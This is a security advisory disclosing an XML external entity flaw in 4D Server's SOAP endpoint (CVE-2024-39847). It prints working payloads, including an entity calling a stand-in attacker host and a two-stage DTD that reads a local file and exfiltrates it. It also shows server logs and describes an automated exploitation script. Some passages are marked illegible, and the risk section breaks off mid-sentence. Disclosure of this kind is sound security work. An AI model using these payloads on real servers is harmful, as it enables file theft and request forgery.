SCHUTZWERK | DE

BLOG & NEWS

ADVISORY: ARBITRARY FILE READ AND SERVER SIDE REQUEST FORGERY VIA XML EXTERNAL ENTITIES IN 4D SERVER SOAP (CVE-2024-39847)

Release of SCHUTZWERK-SA-2024-002

APRIL 29, 2026 #ADVISORI

FREE CONSULTATION

Services Company Career

Blog & News About us Team Partner Certifications

Advisory: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D

Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access to files on the application server and adjacent network shares, and perform HTTP GET requests to arbitrary services.

METADATA

> **Affected product:** 4D Server

> **Affected version:** v20 R3

> **Vendor:** 4D

> **Problem type(s):** CWE-611 Improper Restriction of XML External Entity Reference

> **CVE ID:** CVE-2024-39847

> **CVE URL:** https://www.cve.org/CVERecord?id=CVE-2024-39847

> **CVSS 4.0 score:** 8.7

> **Advisory URL:** https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/

DETAILS

During a recent external penetration test, an application [illegible] was exposed. The server is a component of the 4D suite, and acts as the server, [illegible] via XML external entities in the SOAP endpoint(s) of 4D Server.

Sending the following payload to the `/4DSOAP` endpoint showed that the application processes external XML entities, as requests were observed on the attack server:

```
<!DOCTYPE foo [
 <!ENTITY % test SYSTEM "http://attacker.tld">
 %test;
]>
```

After setting up a local 4D Server instance, SCHUTZWERK was able to confirm that the vulnerability is present in the latest version of 4D Server (20 R3 at the time of writing). Additionally, SCHUTZWERK found that the vulnerability is exploitable even if “Reject SOAP-Requests” is set in the 4D Server GUI.

Further testing revealed that a combination of error-based and out-of-band exfiltration techniques can be utilized to read arbitrary files on the application servers’ file system and adjacent network shares, as well as performing HTTP requests to arbitrary URLs. This requires the use of a Document Type Definition (DTD) file loaded from an attacker controlled server, and can be demonstrated using the following payloads:

Stage 1: XML body sent to the `/4DSOAP` endpoint

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % stage1 SYSTEM "http://192.168.56.1:2121/stage.dtd">
  %stage1;
]>
```

Stage 2: DTD file returned by `http://192.168.56.1:2121/stage.dtd`

```
<!ENTITY % fileb SYSTEM "file:///c:\Users\john.doe\Desktop\secret.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM '%fileb;'>">
%eval;
%exfiltrate;
```

Server [illegible] the request sent to the `/4DSOAP` endpoint:

```
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-
ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
        <SOAP-ENV:Fault>
                <faultcode>SOAP-ENV:Client</faultcode>
                <faultstring>error at line 6, column 1: invalid document
structure
</faultstring>
        </SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Requests sent to the attacker controlled server (192.168.56.1:2121):

```
 192.168.56.114 - - "GET /stage.dtd HTTP/1.1" 200 -
192.168.56.114 - - "GET
/my%20secret%20message%0D%0Ais%20super%20secret%0D%0Aand%20secure
HTTP/1.1" 200 -
```

Depending on the file contents, HTTP requests for the `exfiltrate` entity may fail. On the local test instance of 4D Server (which was set up by creating a new, empty 4D application project), this was the case when requesting files containing a hashtag (`#`). In this case, the file contents are instead returned as part of the `/4DSOAP` endpoint's response message:

```
 <?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Envelope SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP
ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-
ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://
xmlns:xsi="http://www.w3.org/
<SOAP-ENV:Body>
        <SOAP-ENV:Fault>
                <faultcode>SOAP-ENV:Client</faultcode>
                <faultstring>error at line 1, column 1: external entity 'http://192.168.56.1:2121/# my secret website
```

```
</faultstring>
        </SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```


For some file contents, exfiltration using these methods will not succeed. However, depending on the application, exfiltration could still be achieved utilizing application specific SOAP functions accepting data tags.

The script **4d-xxe.py** was developed in order to aid in automated exploitation. It utilizes **Flask** to start an exfiltration server on port 2121, and a query endpoint on port 1337. Once started, files can be requested by issuing a GET request to

```
http://127.0.0.1:1337/<target URI>
```

which will send the appropriate XML payload to obtain the specified resource:

```
 $ curl '127.0.0.1:1337/http://192.168.56.114'
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Envelope SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-
ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
        <SOAP-ENV:Fault>
                <faultcode>SOAP-ENV:Client</faultcode>
                <faultstring>error at line 5, column 13: unable to conne
socket for URL 'http://192.168.56.1:2121/<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

<html>
[...]
```

```
          default home page. This <strong>test page</strong> is served by
4D
          Application.</p>
        <p align="center">If you are the webmaster, congratulations! Your
Web
          server is up and running. You are seeing this page because you
have
          not yet replaced the default &quot;index.html&quot; file with
your actual
          home page.</p>
        <p align="center">Instructions for configuring your 4D Web
          Server can be found in the included documentation.</p>
        <p align="center"><b>IMPORTANT</b>: This Web page or Web site is
neither
          owned nor administered by 4D SAS or any of its subsidiaries.
Please contact
          the owner/webmaster of this site to report any problems with it.
</p>
        <p align="center">&copy;1995-2024 4D, Inc., 4D SAS and its
Licensors.<br>
          All rights reserved.</p>
       </td>
[...]
</html>
'
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

This enables the use of any web directory enumeration tool to exfiltrate files and/or perform “proxied” HTTP requests.

RISK

An attacker can use the vulnerability to

SOLUTION/MITIGATION

Update to 4D Server 20 R7 or higher.

TIMELINE

> 2024-06-17 Vulnerability discovered

> 2024-06-24 Attempt to contact vendor, no response received

> 2024-06-25 CVE ID requested

> 2024-06-29 CVE-2024-39847 assigned

> 2024-07-04 Attempt to contact vendor again, no response received

> 2024-07-09 Attempt to contact vendor again, no response received

> 2024-07-16 Attempt to contact vendor again, no response received

> 2024-07-22 Attempt to contact vendor again, no response received

> 2026-04-29 Advisory published

CREDITS

The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.

~ Marcelo R

SHARE ARTICLE AND INFORMATIONS

SCHUTZWERK GmbH

Pfarrer-Weiß-Weg 12
89077 Ulm

Poststr. 33
20354 Hamburg

Mail: info@schutzwerk.com
Fon: +49 731 977 191 0